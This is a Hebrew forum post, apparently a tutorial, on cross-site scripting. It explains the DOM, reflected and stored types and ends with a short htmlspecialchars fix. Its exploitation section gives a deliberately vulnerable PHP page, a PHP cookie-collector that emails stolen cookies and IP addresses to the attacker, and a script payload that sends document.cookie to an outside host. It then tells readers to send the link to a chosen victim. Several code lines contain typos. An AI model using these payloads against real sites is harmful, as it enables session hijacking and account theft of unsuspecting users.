במדריך זה נלמד על פריצת XSS סוגי הפריצה וכיצד לנצלה.
פרקים:
א.מה זה XSS?
ב.סוגי הפריצה
ג.ניצול הפריצה
ד.אבטחת האתר מפני ההתקפה.
אז מה זה XSS?
XSS (ראשי תיבות של: Cross-site scripting) היא קטגוריה של פרצות אבטחה הנמצאות לרוב באתרי אינטרנט המאפשרים הכנסת תוכן על ידי משתמשים. ניצול של פרצות אלו מאפשר השתלת קוד זדוני אל אתר אינטרנט על ידי משתמש. כאשר משתמש תמים נכנס לאתר האינטרנט הפרוץ, מחשבו של המשתמש התמים מתייחס לקוד הזדוני כאל קוד לגיטימי של האתר הפרוץ, ומריץ את הקוד הזה.
מכיוון שהקוד הזדוני נחשב לקוד לגיטמי של האתר הפרוץ, הוא יכול לקבל כל מידע הרלוונטי לאתר זה, כגון הרשאות כניסה של המשתמש לאתר. במקרים קיצוניים, למשל כאשר האתר נמצא ברשימת האתרים שהמשתמש התמים סומך עליהם, ניתן גם לנצל את הפרצה להרצת קוד זדוני בהרשאות של המשתמש עצמו. ראשי התיבות האמיתיים של Cross-site scripting הם CSS, אולם מקובל כיום להשתמש בקיצור CSS אבל השם תפוס אז לכן ראשי התיבות של הפריצה הוא XSS.
נניח ודני רוצה להתחבר למייל שלו.
יש לו 2 אפשרויות.
להשתמש ב"זכור אותי" או לא להשתמש.
ברגע שהוא משתמש הדפדפן יוצר באתר זה עוגיה.
האתר קורא את העוגיה ומאמת שאכן זה המשתמש שלו.
וכך דני לא יתאמץ בכך שהוא יתחבר שוב ושוב.
ואם דני לא ישתמש הדפדפן לא יצור עוגיה.
נסביר בפוסט בעיקר איך לגנוב עוגיות.
סוגי הפריצה
XSS מקומי -
פרצת XSS מקומית (נקראת גם DOM Based XSS) קיימת לרוב בסקריפט צד לקוח אשר משתמש בקלט כדי לייצר עמוד HTML, בלי לוודא כי קלט זה אינו מכיל קוד זדוני. לדוגמה, קוד JavaScript אשר מקבל כתובת אינטרנט כקלט, ומשתמש בה לייצור עמוד HTML, בלי לוודא שהכתובת עצמה אינה מכילה קוד, יכיל פרצת XSS מקומית.
XSS זמני -
פרצת XSS זמנית (נקראת גם Reflected) היא הסוג הנפוץ ביותר של פרצות XSS. כאשר דף אינטרנט משתמש בקלט מהמשתמש בייצור עמוד HTML דינאמי, ולא מוודא שאין קוד בקלט זה, האתר עלול להיות פגיע לפרצת XSS זמנית. הדוגמה הנפוצה ביותר למצב כזה היא מנועי חיפוש. לרוב, מנוע חיפוש יציג את המחרוזת שהמשתמש ביקש לחפש בתוצאות החיפוש. במידה ומחרוזת זו מכילה קוד ומנוע החיפוש לא מסיר אותו לפני ההצגה של התשובה, הקוד יהיה חלק מעמוד התשובה של המנוע.
XSS קבוע -
פרצת XSS קבועה (נקראת גם Stored או Second-order) מהווה את הסוג המסוכן ביותר של פרצות XSS. הפרצה לרוב תימצא באתר המאחסן באופן תמידי קלט ממשתמש מסוים, בלי לוודא שהקלט לא מכיל קוד זדוני, ולאחר מכן מציג תוכן זה למשתמשים אחרים.
ניצול הפריצה
דוגמא:
קוד PHP:<form action="" method="get">
<input type="text" name="name">
<input type="submit" value="Submit" >
</form>
<?php
if($_GET)
{
echo "Welcom";
echo $_GET['name'];
}
?>
כעת נכניס בתיבת הטקסט ששמה "name" ערך של קוד HTML.
הקוד הנפוץ ביותר לבדיקת הפריצה הוא:
<script>alert("xss")>/script>
אם מופיע לנו חלון ALERT שמכיל את הטקסט "XSS" סימן שהאתר פריץ.
במידה ולא אז לא O: .
קודם כל נצטרך אחסון.
אני אישית ממליץ להשתמש בWelcome to Ripway.com - free file hosting, free music hosting, direct linking
כעת ניצור קובץ בשם xss.php עם התוכן הבא:
קוד PHP:<?php
$c=$_GET['c'];
$ip=$_SERVER['REMOTE-ADDR'];
$mail="xxx@gmail.com"' // האימל שלכם
mail($mail,cookies,cookie: $c ip: $ip);
?>
כעת נכניס את הערך הבא לתיבת הטקסט:
קוד HTML:<script>document.location.href="http://h1.ripway.com/myxss/xss.php?c="+document.cookie</script>
ונשלח את הקישור לבן אדם שברצונכם לפרוץ אליו.
במידה והבן אדם נכנס. בקרו במייל שלכם והעוגיה שלו תיהיה בתוכן ההודעה.
איך אני מגן על האתר שלי מפני ההתקפה?
בשביל זה המציאו את הפונקציה htmlspecialchars.
קוד PHP:<?php
$name=htmlspecialchars($_GET['name'];
echo $name;
?>








ציטוט ההודעה




